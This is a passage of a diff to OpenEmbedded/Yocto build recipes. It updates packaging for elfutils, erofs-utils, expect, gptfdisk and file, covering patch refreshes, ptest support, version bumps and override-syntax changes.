-
---
backends/aarch64_initreg.c | 4 ++--
backends/arm_initreg.c | 2 +-
diff --git a/meta/recipes-devtools/elfutils/files/0015-config-eu.am-do-not-use-Werror.patch b/meta/recipes-devtools/elfutils/files/0015-config-eu.am-do-not-use-Werror.patch
deleted file mode 100644
index c3ae357265..0000000000
--- a/meta/recipes-devtools/elfutils/files/0015-config-eu.am-do-not-use-Werror.patch
+++ /dev/null
@@ -1,36 +0,0 @@
-From dce2187dd8f592316357b200ebbe8dbed9ee65cb Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Mon, 22 Jun 2020 21:35:16 +0000
-Subject: [PATCH] config/eu.am: do not use -Werror
-
-Due to re-definition of error() on musl, gcc starts throwing
-errors where none happen with glibc. Since upstream is not
-likely to be interested in musl builds, lets just disable
-Werror.
-
-Upstream-Status: Inappropriate [oe core specific]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- config/eu.am | 2 --
- 1 file changed, 2 deletions(-)
-
-diff --git a/config/eu.am b/config/eu.am
-index 6c3c444..3bc0dc9 100644
---- a/config/eu.am
-+++ b/config/eu.am
-@@ -73,7 +73,6 @@ AM_CFLAGS = -std=gnu99 -Wall -Wshadow -Wformat=2 \
- -Wold-style-definition -Wstrict-prototypes -Wtrampolines \
- $(LOGICAL_OP_WARNING) $(DUPLICATED_COND_WARNING) \
- $(NULL_DEREFERENCE_WARNING) $(IMPLICIT_FALLTHROUGH_WARNING) \
-- $(if $($(*F)_no_Werror),,-Werror) \
- $(if $($(*F)_no_Wunused),,-Wunused -Wextra) \
- $(if $($(*F)_no_Wstack_usage),,$(STACK_USAGE_WARNING)) \
- $(if $($(*F)_no_Wpacked_not_aligned),-Wno-packed-not-aligned,) \
-@@ -83,7 +82,6 @@ AM_CXXFLAGS = -std=c++11 -Wall -Wshadow \
- -Wtrampolines \
- $(LOGICAL_OP_WARNING) $(DUPLICATED_COND_WARNING) \
- $(NULL_DEREFERENCE_WARNING) $(IMPLICIT_FALLTHROUGH_WARNING) \
-- $(if $($(*F)_no_Werror),,-Werror) \
- $(if $($(*F)_no_Wunused),,-Wunused -Wextra) \
- $(if $($(*F)_no_Wstack_usage),,$(STACK_USAGE_WARNING)) \
- $(if $($(*F)_no_Wpacked_not_aligned),-Wno-packed-not-aligned,) \
diff --git a/meta/recipes-devtools/elfutils/files/ptest.patch b/meta/recipes-devtools/elfutils/files/ptest.patch
index 35b23f43b3..2152875d63 100644
--- a/meta/recipes-devtools/elfutils/files/ptest.patch
+++ b/meta/recipes-devtools/elfutils/files/ptest.patch
@@ -1,4 +1,7 @@
-Changes to allow ptest to run standalone on target:
+From d49f6a135762ec1f1831d0e80b8df2a4269b0a66 Mon Sep 17 00:00:00 2001
+From: Richard Purdie <richard.purdie@linuxfoundation.org>
+Date: Wed, 1 May 2019 16:37:48 +0100
+Subject: [PATCH] Changes to allow ptest to run standalone on target:
a) Run the tests serially
b) Use the standalone test mode which allows the tests to be run in their
@@ -11,12 +14,17 @@ d) Add an oecheck make target which we can use to build the test binaries we nee
Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
Upstream-Status: Inappropriate [oe specific]
+---
+ configure.ac | 2 +-
+ tests/Makefile.am | 2 ++
+ tests/test-subr.sh | 6 ------
+ 3 files changed, 3 insertions(+), 7 deletions(-)
-Index: elfutils-0.176/configure.ac
-===================================================================
---- elfutils-0.176.orig/configure.ac
-+++ elfutils-0.176/configure.ac
-@@ -45,7 +45,7 @@ AC_COPYRIGHT([Copyright (C) 1996-2018 Th
+diff --git a/configure.ac b/configure.ac
+index bbe8673..488712b 100644
+--- a/configure.ac
++++ b/configure.ac
+@@ -49,7 +49,7 @@ AC_COPYRIGHT([Copyright (C) 1996-2024 The elfutils developers.])
AC_PREREQ(2.63) dnl Minimum Autoconf version required.
dnl We use GNU make extensions; automake 1.10 defaults to -Wportability.
@@ -25,42 +33,20 @@ Index: elfutils-0.176/configure.ac
AM_MAINTAINER_MODE
AM_SILENT_RULES([yes])
-Index: elfutils-0.176/tests/Makefile.am
-===================================================================
---- elfutils-0.176.orig/tests/Makefile.am
-+++ elfutils-0.176/tests/Makefile.am
-@@ -445,10 +445,10 @@ installed_TESTS_ENVIRONMENT = libdir=$(D
- installed_LOG_COMPILER = $(abs_srcdir)/test-wrapper.sh \
- installed $(tests_rpath) \
- '$(program_transform_name)'
--if STANDALONE
-+if !STANDALONE
- TESTS_ENVIRONMENT = $(installed_TESTS_ENVIRONMENT)
- LOG_COMPILER = $(installed_LOG_COMPILER)
--else !STANDALONE
-+else STANDALONE
- TESTS_ENVIRONMENT = LC_ALL=C; LANG=C; VALGRIND_CMD=$(valgrind_cmd); \
- abs_srcdir=$(abs_srcdir); abs_builddir=$(abs_builddir); \
- abs_top_builddir=$(abs_top_builddir); \
-@@ -463,7 +463,7 @@ installcheck-local:
- $(MAKE) $(AM_MAKEFLAGS) \
- TESTS_ENVIRONMENT="$(installed_TESTS_ENVIRONMENT)" \
- LOG_COMPILER="$(installed_LOG_COMPILER)" check-TESTS
--endif !STANDALONE
-+endif STANDALONE
-
- if STANDALONE
- libdw = -ldw
-@@ -612,3 +612,5 @@ check: check-am coverage
+diff --git a/tests/Makefile.am b/tests/Makefile.am
+index ee49d07..3bd8e58 100644
+--- a/tests/Makefile.am
++++ b/tests/Makefile.am
+@@ -852,3 +852,5 @@ check: check-am coverage
coverage:
-$(srcdir)/coverage.sh
endif
+oecheck:
+ $(MAKE) $(AM_MAKEFLAGS) $(check_PROGRAMS)
-Index: elfutils-0.176/tests/test-subr.sh
-===================================================================
---- elfutils-0.176.orig/tests/test-subr.sh
-+++ elfutils-0.176/tests/test-subr.sh
+diff --git a/tests/test-subr.sh b/tests/test-subr.sh
+index 411e5f2..a638ff9 100644
+--- a/tests/test-subr.sh
++++ b/tests/test-subr.sh
@@ -91,12 +91,6 @@ installed_testrun()
program="$1"
shift
diff --git a/meta/recipes-devtools/elfutils/files/run-ptest b/meta/recipes-devtools/elfutils/files/run-ptest
index 81b81f2f5d..d5776fdb53 100644
--- a/meta/recipes-devtools/elfutils/files/run-ptest
+++ b/meta/recipes-devtools/elfutils/files/run-ptest
@@ -3,4 +3,4 @@
#This script is used to run elfutils test suites
cd tests
-make -k runtest-TESTS abs_srcdir=$PWD abs_builddir=$PWD srcdir=$PWD top_srcdir=$PWD/../ abs_top_builddir=$PWD/../ elfutils_testrun=installed elfutils_tests_rpath=no program_transform_name=s,^,eu-,
+make -k installcheck-local CC=gcc abs_srcdir=$PWD abs_builddir=$PWD srcdir=$PWD top_srcdir=$PWD/../ abs_top_builddir=$PWD/../ elfutils_testrun=installed elfutils_tests_rpath=no program_transform_name=s,^,eu-,
diff --git a/meta/recipes-devtools/erofs-utils/erofs-utils_1.7.1.bb b/meta/recipes-devtools/erofs-utils/erofs-utils_1.7.1.bb
new file mode 100644
index 0000000000..a23cb330ea
--- /dev/null
+++ b/meta/recipes-devtools/erofs-utils/erofs-utils_1.7.1.bb
@@ -0,0 +1,27 @@
+SUMMARY = "Tools for erofs filesystems"
+# liberofs also available under Apache 2.0
+LICENSE = "GPL-2.0-or-later"
+SECTION = "base"
+LIC_FILES_CHKSUM = "file://COPYING;md5=73001d804ea1e3d84365f652242cca20"
+HOMEPAGE = "https://git.kernel.org/pub/scm/linux/kernel/git/xiang/erofs-utils.git/tree/README"
+
+SRCREV = "83d94dc619075e71ca4d0f42941cfc18d269a2af"
+SRC_URI = "git://git.kernel.org/pub/scm/linux/kernel/git/xiang/erofs-utils.git;branch=master;protocol=https"
+
+UPSTREAM_CHECK_GITTAGREGEX = "v(?P<pver>(\d+(\.\d+)+))"
+
+S = "${WORKDIR}/git"
+
+DEPENDS = "util-linux-libuuid"
+
+inherit pkgconfig autotools
+
+PACKAGECONFIG ??= "lz4 zlib"
+PACKAGECONFIG[lz4] = "--enable-lz4,--disable-lz4,lz4"
+PACKAGECONFIG[zlib] = "--with-zlib,--without-zlib,zlib"
+
+EXTRA_OECONF = "${PACKAGECONFIG_CONFARGS} --disable-fuse"
+
+CFLAGS:append:powerpc64le = " -D__SANE_USERSPACE_TYPES__"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/expect/expect/0001-Add-prototype-to-function-definitions.patch b/meta/recipes-devtools/expect/expect/0001-Add-prototype-to-function-definitions.patch
new file mode 100644
index 0000000000..7d211b3dff
--- /dev/null
+++ b/meta/recipes-devtools/expect/expect/0001-Add-prototype-to-function-definitions.patch
@@ -0,0 +1,113 @@
+From 904c7cf6647594939ce1e398468bca3c885f0622 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Mon, 15 Aug 2022 18:25:23 -0700
+Subject: [PATCH] Add prototype to function definitions
+
+Compilers like clang has started erroring out on implicit-function-declaration
+therefore arrange the relevant include files where needed.
+
+Upstream-Status: Submitted [https://sourceforge.net/p/expect/patches/24/]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ exp_chan.c | 5 +++--
+ exp_clib.c | 4 +++-
+ exp_main_sub.c | 5 +++++
+ pty_termios.c | 4 ++++
+ 4 files changed, 15 insertions(+), 3 deletions(-)
+
+diff --git a/exp_chan.c b/exp_chan.c
+index 79f486c..50375d3 100644
+--- a/exp_chan.c
++++ b/exp_chan.c
+@@ -35,6 +35,7 @@
+ #include "exp_prog.h"
+ #include "exp_command.h"
+ #include "exp_log.h"
++#include "exp_event.h" /* exp_background_channelhandler */
+ #include "tcldbg.h" /* Dbg_StdinMode */
+
+ extern int expSetBlockModeProc _ANSI_ARGS_((int fd, int mode));
+@@ -631,7 +632,7 @@ expWaitOnOne() {
+ }
+
+ void
+-exp_background_channelhandlers_run_all()
++exp_background_channelhandlers_run_all(void)
+ {
+ ThreadSpecificData *tsdPtr = TCL_TSD_INIT(&dataKey);
+ ExpState *esPtr;
+@@ -760,7 +761,7 @@ expCreateChannel(interp,fdin,fdout,pid)
+ }
+
+ void
+-expChannelInit() {
++expChannelInit(void) {
+ ThreadSpecificData *tsdPtr = TCL_TSD_INIT(&dataKey);
+
+ tsdPtr->channelCount = 0;
+diff --git a/exp_clib.c b/exp_clib.c
+index b21fb5d..8f31fc3 100644
+--- a/exp_clib.c
++++ b/exp_clib.c
+@@ -9,13 +9,14 @@ would appreciate credit if this program or parts of it are used.
+
+ #include "expect_cf.h"
+ #include <stdio.h>
++#include <unistd.h>
+ #include <setjmp.h>
+ #ifdef HAVE_INTTYPES_H
+ # include <inttypes.h>
+ #endif
+ #include <sys/types.h>
+ #include <sys/ioctl.h>
+-
++#include <sys/wait.h>
+ #ifdef TIME_WITH_SYS_TIME
+ # include <sys/time.h>
+ # include <time.h>
+@@ -1738,6 +1739,7 @@ int exp_getptyslave();
+ #define sysreturn(x) return(errno = x, -1)
+
+ void exp_init_pty();
++void exp_init_tty();
+
+ /*
+ The following functions are linked from the Tcl library. They
+diff --git a/exp_main_sub.c b/exp_main_sub.c
+index bf6c4be..f53b89e 100644
+--- a/exp_main_sub.c
++++ b/exp_main_sub.c
+@@ -61,6 +61,11 @@ int exp_cmdlinecmds = FALSE;
+ int exp_interactive = FALSE;
+ int exp_buffer_command_input = FALSE;/* read in entire cmdfile at once */
+ int exp_fgets();
++int exp_tty_cooked_echo(
++ Tcl_Interp *interp,
++ exp_tty *tty_old,
++ int *was_raw,
++ int *was_echo);
+
+ Tcl_Interp *exp_interp; /* for use by signal handlers who can't figure out */
+ /* the interpreter directly */
+diff --git a/pty_termios.c b/pty_termios.c
+index c605b23..80ed5e7 100644
+--- a/pty_termios.c
++++ b/pty_termios.c
+@@ -7,6 +7,7 @@ would appreciate credit if you use this file or parts of it.
+
+ */
+
++#include <pty.h> /* openpty */
+ #include <stdio.h>
+ #include <signal.h>
+
+@@ -15,6 +16,9 @@ would appreciate credit if you use this file or parts of it.
+ #endif
+
+ #include "expect_cf.h"
++#include "tclInt.h"
++
++extern char * expErrnoMsg _ANSI_ARGS_((int));
+
+ /*
+ The following functions are linked from the Tcl library. They
diff --git a/meta/recipes-devtools/expect/expect/0001-fixline1-fix-line-1.patch b/meta/recipes-devtools/expect/expect/0001-fixline1-fix-line-1.patch
new file mode 100644
index 0000000000..9c73d3e579
--- /dev/null
+++ b/meta/recipes-devtools/expect/expect/0001-fixline1-fix-line-1.patch
@@ -0,0 +1,31 @@
+From eef7c44c10de32ba399ab162cb5799fafdce3fa5 Mon Sep 17 00:00:00 2001
+From: Joe Slater <joe.slater@windriver.com>
+Date: Tue, 15 Mar 2022 22:00:04 +0000
+Subject: [PATCH] fixline1: fix line 1
+
+Ironically, fixline1 needs its first line modified by
+fixline1. We do that, manually.
+
+Upstream-Status: Inappropriate [OE specific cross build setup]
+
+Signed-off-by: Joe Slater <joe.slater@windriver.com>
+---
+ fixline1 | 5 ++++-
+ 1 file changed, 4 insertions(+), 1 deletion(-)
+
+diff --git a/fixline1 b/fixline1
+index 113e9bb..8a38e96 100755
+--- a/fixline1
++++ b/fixline1
+@@ -1,4 +1,7 @@
+-#!expect --
++#!/bin/sh
++# expect won't see the exec \
++exec expect -- "$0" ${1+"$@"}
++
+ # Synopsis: fixline1 newpath < input > output
+ # Author: Don Libes
+
+--
+2.32.0
+
diff --git a/meta/recipes-devtools/expect/expect/01-example-shebang.patch b/meta/recipes-devtools/expect/expect/01-example-shebang.patch
deleted file mode 100644
index 8597f31387..0000000000
--- a/meta/recipes-devtools/expect/expect/01-example-shebang.patch
+++ /dev/null
@@ -1,144 +0,0 @@
-Author: Mike Markley <mike@markley.org>
-Author: Sergei Golovan <sgolovan@debian.org>
-Description: Fixes shebangs in examples (Closes: #152367).
-
-Backported from Debian
-
-Upstream-Status: Pending
-Index: expect5.45/example/beer.exp
-===================================================================
---- expect5.45.orig/example/beer.exp 2006-01-25 13:51:39.000000000 -0800
-+++ expect5.45/example/beer.exp 2013-11-01 17:35:19.817318341 -0700
-@@ -1,4 +1,9 @@
--#!/depot/path/expect -f
-+#!/bin/sh
-+# -*- tcl -*-
-+# The next line is executed by /bin/sh, but not tcl \
-+exec tclsh "$0" ${1+"$@"}
-+
-+package require Expect
-
- # 99 bottles of beer on the wall, Expect-style
- # Author: Don Libes <libes@nist.gov>
-Index: expect5.45/example/expectd.proto
-===================================================================
---- expect5.45.orig/example/expectd.proto 2010-07-02 09:03:31.000000000 -0700
-+++ expect5.45/example/expectd.proto 2013-11-01 17:35:19.821318341 -0700
-@@ -1,4 +1,10 @@
--#!/depot/tcl/src/expect/e --
-+#!/bin/sh
-+# -*- tcl -*-
-+# The next line is executed by /bin/sh, but not tcl \
-+exec tclsh "$0" ${1+"$@"}
-+
-+package require Expect
-+
- # Description: Simple fragment to begin a telnet daemon
- # For more information, see Chapter 17 of "Exploring Expect"
- # Author: Don Libes, NIST
-Index: expect5.45/example/irsh
-===================================================================
---- expect5.45.orig/example/irsh 2010-07-02 09:03:31.000000000 -0700
-+++ expect5.45/example/irsh 2013-11-01 17:35:19.821318341 -0700
-@@ -1,4 +1,9 @@
--#!/depot/path/expect --
-+#!/bin/sh
-+# -*- tcl -*-
-+# The next line is executed by /bin/sh, but not tcl \
-+exec tclsh "$0" ${1+"$@"}
-+
-+package require Expect
-
- # Do rsh interactively. For example, consider the following command:
- # rsh <remote> ls -l "|" more
-Index: expect5.45/example/passwd.cgi
-===================================================================
---- expect5.45.orig/example/passwd.cgi 2000-01-06 15:22:07.000000000 -0800
-+++ expect5.45/example/passwd.cgi 2013-11-01 17:35:19.821318341 -0700
-@@ -1,4 +1,9 @@
--#!/depot/path/expect --
-+#!/bin/sh
-+# -*- tcl -*-
-+# The next line is executed by /bin/sh, but not tcl \
-+exec tclsh "$0" ${1+"$@"}
-+
-+package require Expect
-
- # This is a CGI script to process requests created by the accompanying
- # passwd.html form. This script is pretty basic, although it is
-Index: expect5.45/example/passwdprompt
-===================================================================
---- expect5.45.orig/example/passwdprompt 2003-09-05 12:01:59.000000000 -0700
-+++ expect5.45/example/passwdprompt 2013-11-01 17:35:19.821318341 -0700
-@@ -1,4 +1,9 @@
--#!/depot/path/expect
-+#!/bin/sh
-+# -*- tcl -*-
-+# The next line is executed by /bin/sh, but not tcl \
-+exec tclsh "$0" ${1+"$@"}
-+
-+package require Expect
-
- # This script prompts for a passwd from stdin while echoing *'s
-
-Index: expect5.45/example/reprompt
-===================================================================
---- expect5.45.orig/example/reprompt 2000-01-06 15:22:07.000000000 -0800
-+++ expect5.45/example/reprompt 2013-11-01 17:35:19.821318341 -0700
-@@ -1,4 +1,9 @@
--#!/depot/path/expect --
-+#!/bin/sh
-+# -*- tcl -*-
-+# The next line is executed by /bin/sh, but not tcl \
-+exec tclsh "$0" ${1+"$@"}
-+
-+package require Expect
-
- # Name: reprompt
- # Description: reprompt every so often until user enters something
-Index: expect5.45/example/term_expect
-===================================================================
---- expect5.45.orig/example/term_expect 2005-02-15 10:11:31.000000000 -0800
-+++ expect5.45/example/term_expect 2013-11-01 17:35:19.821318341 -0700
-@@ -1,4 +1,9 @@
--#!/depot/path/expectk
-+#!/bin/sh
-+# -*- tcl -*-
-+# The next line is executed by /bin/sh, but not tcl \
-+exec wish "$0" ${1+"$@"}
-+
-+package require Expect
-
- # Name: tkterm - terminal emulator using Expect and Tk text widget, v3.0
- # Author: Don Libes, July '94
-Index: expect5.45/example/vrfy
-===================================================================
---- expect5.45.orig/example/vrfy 2010-07-02 09:03:31.000000000 -0700
-+++ expect5.45/example/vrfy 2013-11-01 17:35:19.821318341 -0700
-@@ -1,4 +1,9 @@
--#!/depot/path/expect -f
-+#!/bin/sh
-+# -*- tcl -*-
-+# The next line is executed by /bin/sh, but not tcl \
-+exec tclsh "$0" ${1+"$@"}
-+
-+package require Expect
-
-
- # separate address into user and host
-Index: expect5.45/example/xrlogin
-===================================================================
---- expect5.45.orig/example/xrlogin 2000-01-06 15:22:08.000000000 -0800
-+++ expect5.45/example/xrlogin 2013-11-01 17:35:19.821318341 -0700
-@@ -1,4 +1,10 @@
--#!/depot/path/expect --
-+#!/bin/sh
-+# -*- tcl -*-
-+# The next line is executed by /bin/sh, but not tcl \
-+exec tclsh "$0" ${1+"$@"}
-+
-+package require Expect
-+
- # xrlogin - rlogin but with current DISPLAY
- #
- # You can extend this idea to save any arbitrary information across rlogin
diff --git a/meta/recipes-devtools/expect/expect/run-ptest b/meta/recipes-devtools/expect/expect/run-ptest
new file mode 100755
index 0000000000..856c314eaf
--- /dev/null
+++ b/meta/recipes-devtools/expect/expect/run-ptest
@@ -0,0 +1,6 @@
+#!/bin/sh
+
+out_put=`tclsh tests/all.tcl -verbose bpse`
+echo
+echo "${out_put}" | awk '/PASSED|FAILED|SKIPPED/{gsub(/PASSED/,"PASS"); gsub(/FAILED/,"FAIL"); gsub(/SKIPPED/,"SKIP"); if ($NF=="PASS"){print $NF": "$(NF-1)}else{print $NF": "$2}}' | uniq
+
diff --git a/meta/recipes-devtools/expect/expect_5.45.4.bb b/meta/recipes-devtools/expect/expect_5.45.4.bb
index 39ae6151f6..7b610b1ff2 100644
--- a/meta/recipes-devtools/expect/expect_5.45.4.bb
+++ b/meta/recipes-devtools/expect/expect_5.45.4.bb
@@ -14,19 +14,21 @@ SECTION = "devel"
LIC_FILES_CHKSUM = "file://license.terms;md5=fbf2de7e9102505b1439db06fc36ce5c"
DEPENDS += "tcl"
-RDEPENDS_${PN} = "tcl"
+RDEPENDS:${PN} = "tcl"
-inherit autotools update-alternatives
+inherit autotools update-alternatives ptest
SRC_URI = "${SOURCEFORGE_MIRROR}/expect/Expect/${PV}/${BPN}${PV}.tar.gz \
file://0001-configure.in.patch \
file://0002-tcl.m4.patch \
- file://01-example-shebang.patch \
file://0001-expect-install-scripts-without-using-the-fixline1-tc.patch \
file://0001-Resolve-string-formatting-issues.patch \
file://0001-expect-Fix-segfaults-if-Tcl-is-built-with-stubs-and-.patch \
file://0001-exp_main_sub.c-Use-PATH_MAX-for-path.patch \
- "
+ file://0001-fixline1-fix-line-1.patch \
+ file://0001-Add-prototype-to-function-definitions.patch \
+ file://run-ptest \
+ "
SRC_URI[md5sum] = "00fce8de158422f5ccd2666512329bd2"
SRC_URI[sha256sum] = "49a7da83b0bdd9f46d04a04deec19c7767bb9a323e40c4781f89caf760b92c34"
@@ -35,19 +37,23 @@ UPSTREAM_CHECK_REGEX = "/Expect/(?P<pver>(\d+[\.\-_]*)+)/"
S = "${WORKDIR}/${BPN}${PV}"
-do_install_append() {
+do_install:append() {
install -d ${D}${libdir}
install -m 0755 ${D}${libdir}/expect${PV}/libexpect*.so ${D}${libdir}/
install -m 0755 ${S}/fixline1 ${D}${libdir}/expect${PV}/
- install -m 0755 ${S}/example/* ${D}${libdir}/expect${PV}/
rm ${D}${libdir}/expect${PV}/libexpect*.so
sed -e 's|$dir|${libdir}|' -i ${D}${libdir}/expect${PV}/pkgIndex.tcl
}
+do_install_ptest() {
+ install -d ${D}${PTEST_PATH}
+ cp -r ${S}/tests ${D}${PTEST_PATH}
+}
+
# Apparently the public Tcl headers are only in /usr/include/tcl8.6
# when building for the target and nativesdk.
TCL_INCLUDE_PATH = "--with-tclinclude=${STAGING_INCDIR}/tcl8.6"
-TCL_INCLUDE_PATH_class-native = ""
+TCL_INCLUDE_PATH:class-native = ""
EXTRA_OECONF += "--with-tcl=${STAGING_LIBDIR} \
--enable-shared \
@@ -57,12 +63,12 @@ EXTRA_OECONF += "--with-tcl=${STAGING_LIBDIR} \
"
EXTRA_OEMAKE_install = " 'SCRIPTS=' "
-ALTERNATIVE_${PN} = "mkpasswd"
+ALTERNATIVE:${PN} = "mkpasswd"
ALTERNATIVE_LINK_NAME[mkpasswd] = "${bindir}/mkpasswd"
# Use lower priority than busybox's mkpasswd (created when built with CONFIG_CRYPTPW)
ALTERNATIVE_PRIORITY[mkpasswd] = "40"
-FILES_${PN}-dev = "${libdir_native}/expect${PV}/libexpect*.so \
+FILES:${PN}-dev = "${libdir_native}/expect${PV}/libexpect*.so \
${includedir}/expect.h \
${includedir}/expect_tcl.h \
${includedir}/expect_comm.h \
@@ -70,7 +76,7 @@ FILES_${PN}-dev = "${libdir_native}/expect${PV}/libexpect*.so \
${includedir}/*.h \
"
-FILES_${PN} += "${libdir}/libexpect${PV}.so \
+FILES:${PN} += "${libdir}/libexpect${PV}.so \
${libdir}/expect${PV}/* \
"
diff --git a/meta/recipes-devtools/fdisk/gptfdisk/0001-gptcurses-correctly-include-curses.h.patch b/meta/recipes-devtools/fdisk/gptfdisk/0001-gptcurses-correctly-include-curses.h.patch
index 67689e838a..011eec36f9 100644
--- a/meta/recipes-devtools/fdisk/gptfdisk/0001-gptcurses-correctly-include-curses.h.patch
+++ b/meta/recipes-devtools/fdisk/gptfdisk/0001-gptcurses-correctly-include-curses.h.patch
@@ -1,4 +1,4 @@
-From 607b0bed5e8a5f5c3754cd6ffcf499d8134c37f9 Mon Sep 17 00:00:00 2001
+From 510d0d27f90dfb1c4afd0722580bb8a828b52b7f Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Mon, 30 Mar 2020 17:11:19 +0200
Subject: [PATCH] gptcurses: correctly include curses.h
@@ -10,14 +10,14 @@ Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
1 file changed, 4 deletions(-)
diff --git a/gptcurses.cc b/gptcurses.cc
-index 1b18cf2..4ebfde1 100644
+index b476700..476fc43 100644
--- a/gptcurses.cc
+++ b/gptcurses.cc
@@ -23,11 +23,7 @@
#include <iostream>
#include <string>
#include <sstream>
--#ifdef __APPLE__
+-#if defined (__APPLE__) || (__FreeBSD__)
#include <ncurses.h>
-#else
-#include <ncursesw/ncurses.h>
diff --git a/meta/recipes-devtools/fdisk/gptfdisk_1.0.10.bb b/meta/recipes-devtools/fdisk/gptfdisk_1.0.10.bb
new file mode 100644
index 0000000000..ba891931ac
--- /dev/null
+++ b/meta/recipes-devtools/fdisk/gptfdisk_1.0.10.bb
@@ -0,0 +1,35 @@
+SUMMARY = "Utility for modifying GPT disk partitioning"
+DESCRIPTION = "GPT fdisk is a disk partitioning tool loosely modeled on Linux fdisk, but used for modifying GUID Partition Table (GPT) disks. The related FixParts utility fixes some common problems on Master Boot Record (MBR) disks."
+HOMEPAGE = "https://sourceforge.net/projects/gptfdisk/"
+
+LICENSE = "GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=59530bdf33659b29e73d4adb9f9f6552"
+
+DEPENDS = "util-linux"
+
+SRC_URI = "${SOURCEFORGE_MIRROR}/${BPN}/${PV}/${BP}.tar.gz \
+ file://0001-gptcurses-correctly-include-curses.h.patch \
+ "
+SRC_URI[sha256sum] = "2abed61bc6d2b9ec498973c0440b8b804b7a72d7144069b5a9209b2ad693a282"
+
+UPSTREAM_CHECK_URI = "http://sourceforge.net/projects/gptfdisk/files/gptfdisk/"
+UPSTREAM_CHECK_REGEX = "/gptfdisk/(?P<pver>(\d+[\.\-_]*)+)/"
+
+EXTRA_OEMAKE = "'CC=${CC}' 'CXX=${CXX}' gdisk fixparts ${PACKAGECONFIG_CONFARGS}"
+
+PACKAGECONFIG ??= "ncurses popt"
+PACKAGECONFIG[ncurses] = "cgdisk,,ncurses"
+PACKAGECONFIG[popt] = "sgdisk,,popt"
+
+do_install() {
+ install -d ${D}${sbindir}
+ for f in cgdisk sgdisk; do
+ if [ -x $f ]; then
+ install -m 0755 $f ${D}${sbindir}
+ fi
+ done
+ install -m 0755 gdisk ${D}${sbindir}
+ install -m 0755 fixparts ${D}${sbindir}
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/fdisk/gptfdisk_1.0.5.bb b/meta/recipes-devtools/fdisk/gptfdisk_1.0.5.bb
deleted file mode 100644
index c7850f03ca..0000000000
--- a/meta/recipes-devtools/fdisk/gptfdisk_1.0.5.bb
+++ /dev/null
@@ -1,35 +0,0 @@
-SUMMARY = "Utility for modifying GPT disk partitioning"
-DESCRIPTION = "GPT fdisk is a disk partitioning tool loosely modeled on Linux fdisk, but used for modifying GUID Partition Table (GPT) disks. The related FixParts utility fixes some common problems on Master Boot Record (MBR) disks."
-
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=59530bdf33659b29e73d4adb9f9f6552"
-
-DEPENDS = "util-linux"
-
-SRC_URI = "${SOURCEFORGE_MIRROR}/${BPN}/${PV}/${BP}.tar.gz \
- file://0001-gptcurses-correctly-include-curses.h.patch \
- "
-SRC_URI[md5sum] = "58dac67c85e46ca87b587231549aefe6"
-SRC_URI[sha256sum] = "0e7d3987cd0488ecaf4b48761bc97f40b1dc089e5ff53c4b37abe30bc67dcb2f"
-
-UPSTREAM_CHECK_URI = "http://sourceforge.net/projects/gptfdisk/files/gptfdisk/"
-UPSTREAM_CHECK_REGEX = "/gptfdisk/(?P<pver>(\d+[\.\-_]*)+)/"
-
-EXTRA_OEMAKE = "'CC=${CC}' 'CXX=${CXX}' gdisk fixparts ${PACKAGECONFIG_CONFARGS}"
-
-PACKAGECONFIG ??= "ncurses popt"
-PACKAGECONFIG[ncurses] = "cgdisk,,ncurses"
-PACKAGECONFIG[popt] = "sgdisk,,popt"
-
-do_install() {
- install -d ${D}${sbindir}
- for f in cgdisk sgdisk; do
- if [ -x $f ]; then
- install -m 0755 $f ${D}${sbindir}
- fi
- done
- install -m 0755 gdisk ${D}${sbindir}
- install -m 0755 fixparts ${D}${sbindir}
-}
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/file/file_5.39.bb b/meta/recipes-devtools/file/file_5.39.bb
deleted file mode 100644
index 0dcc90548a..0000000000
--- a/meta/recipes-devtools/file/file_5.39.bb
+++ /dev/null
@@ -1,54 +0,0 @@
-SUMMARY = "File classification tool"
-DESCRIPTION = "File attempts to classify files depending \
-on their contents and prints a description if a match is found."
-HOMEPAGE = "http://www.darwinsys.com/file/"
-SECTION = "console/utils"
-
-# two clause BSD
-LICENSE = "BSD-2-Clause"
-LIC_FILES_CHKSUM = "file://COPYING;beginline=2;md5=0251eaec1188b20d9a72c502ecfdda1b"
-
-DEPENDS = "file-replacement-native"
-DEPENDS_class-native = "bzip2-replacement-native"
-
-SRC_URI = "git://github.com/file/file.git"
-
-SRCREV = "87731415de945660b00f02207d8e9d986ef9b82e"
-S = "${WORKDIR}/git"
-
-inherit autotools update-alternatives
-
-PACKAGECONFIG ??= "zlib"
-PACKAGECONFIG[bz2] = "--enable-bzlib, --disable-bzlib, bzip2"
-PACKAGECONFIG[lzma] = "--enable-xzlib, --disable-xzlib, xz"
-PACKAGECONFIG[zlib] = "--enable-zlib, --disable-zlib, zlib"
-
-EXTRA_OECONF += "--disable-libseccomp"
-
-ALTERNATIVE_${PN} = "file"
-ALTERNATIVE_LINK_NAME[file] = "${bindir}/file"
-
-EXTRA_OEMAKE_append_class-target = " -e FILE_COMPILE=${STAGING_BINDIR_NATIVE}/file-native/file"
-EXTRA_OEMAKE_append_class-nativesdk = " -e FILE_COMPILE=${STAGING_BINDIR_NATIVE}/file-native/file"
-
-FILES_${PN} += "${datadir}/misc/*.mgc"
-
-do_compile_append_class-native() {
- oe_runmake check
-}
-
-do_install_append_class-native() {
- create_cmdline_wrapper ${D}/${bindir}/file \
- --magic-file ${datadir}/misc/magic.mgc
-}
-
-do_install_append_class-nativesdk() {
- create_cmdline_wrapper ${D}/${bindir}/file \
- --magic-file ${datadir}/misc/magic.mgc
-}
-
-BBCLASSEXTEND = "native nativesdk"
-PROVIDES_append_class-native = " file-replacement-native"
-# Don't use NATIVE_PACKAGE_PATH_SUFFIX as that hides libmagic from anyone who
-# depends on file-replacement-native.
-bindir_append_class-native = "/file-native"
